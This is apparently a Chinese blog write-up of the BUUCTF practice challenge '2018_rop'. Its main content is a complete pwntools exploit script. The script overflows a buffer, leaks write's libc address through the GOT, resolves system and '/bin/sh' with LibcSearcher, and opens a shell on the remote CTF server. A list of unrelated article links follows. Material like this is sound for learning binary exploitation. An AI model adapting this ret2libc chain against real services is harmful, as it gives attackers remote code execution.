buuctf 铁人三项(第五赛区)_2018_rop
2020-05-07 04:25
1681 查看
常规的32位泄漏libc,比较蛋痛的是我常规的写法不知道为什么出错,以后要多注意recv到的东西
exp:
from pwn import * from LibcSearcher import * local_file = './2018_rop' local_libc = './libc.so.6' remote_libc = './libc.so.6' select = 1 if select == 0: r = process(local_file) #libc = ELF(local_libc) else: r = remote('node3.buuoj.cn', 26332) #libc = ELF(remote_libc) elf = ELF(local_file) context.log_level = 'debug' context.arch = elf.arch se = lambda data :r.send(data) sa = lambda delim,data :r.sendafter(delim, data) sl = lambda data :r.sendline(data) sla = lambda delim,data :r.sendlineafter(delim, data) sea = lambda delim,data :r.sendafter(delim, data) rc = lambda numb=4096 :r.recv(numb) rl = lambda :r.recvline() ru = lambda delims, drop=True :r.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr)) def debug(cmd=''): gdb.attach(r,cmd) write_got = elf.got['write'] write_plt = elf.plt['write'] main = elf.sym['main'] p1 = flat(['a'*0x88, 'b'*4, write_plt, main, 1, write_got, 4]) se(p1) #write_addr = uu32(ru('\xf7')[-4:]) write_addr = uu32(rc()) log.info(hex(write_addr)) libc = LibcSearcher('write', write_addr) libcbase = write_addr - libc.dump('write') system_addr = libcbase + libc.dump('system') binsh_addr = libcbase + libc.dump('str_bin_sh') p2 = flat(['a'*0x88, 'b'*4, system_addr, 0, binsh_addr]) se(p2) r.interactive()Tower2358 原创文章 31获赞 1访问量 876 关注 私信
相关文章推荐
- Hdu 4292 Food (2012成都赛区网络赛第五题,拆点网络流)
- ACM-ICPC 2018 徐州赛区网络预赛A题
- ACM-ICPC 2018 南京赛区网络预赛 J题
- ACM-ICPC 2018 沈阳赛区网络预赛-B,F,G
- 【 ACM-ICPC 2018 沈阳赛区网络预赛 D】Made In Heaven
- ACM-ICPC 2018 焦作赛区网络预赛 B题 Mathematical Curse
- ACM-ICPC 2018 南京赛区网络预赛 L题
- ACM-ICPC 2018 南京赛区网络预赛 J. Sum(筛法+分块)
- 【ACM-ICPC 2018 沈阳赛区网络预赛 K】Supreme Number
- ACM-ICPC 2018 焦作赛区网络预赛 G题 Give Candies
- 2010成都赛区网络赛第五题---Food(hdu4292)
- acm_icpc网络赛第五站:北京赛区
- 2018网易中国创业家大赛东莞赛区火热报名中
- ACM-ICPC 2018 南京赛区网络预赛 G题
- ACM-ICPC 2018 焦作赛区网络预赛 H题 String and Times(SAM)
- 2018 ACM/ICPC 北京赛区网络赛 D 80 Days 线段树
- 2018CCPC吉林赛区(重现赛)
- ACM-ICPC 2018 南京赛区网络预赛 Lpl and Energy-saving Lamps (线段树)
- 2018ICPC徐州赛区网络预赛G:Trace
- ACM-ICPC 2018 徐州赛区网络预赛 G Trace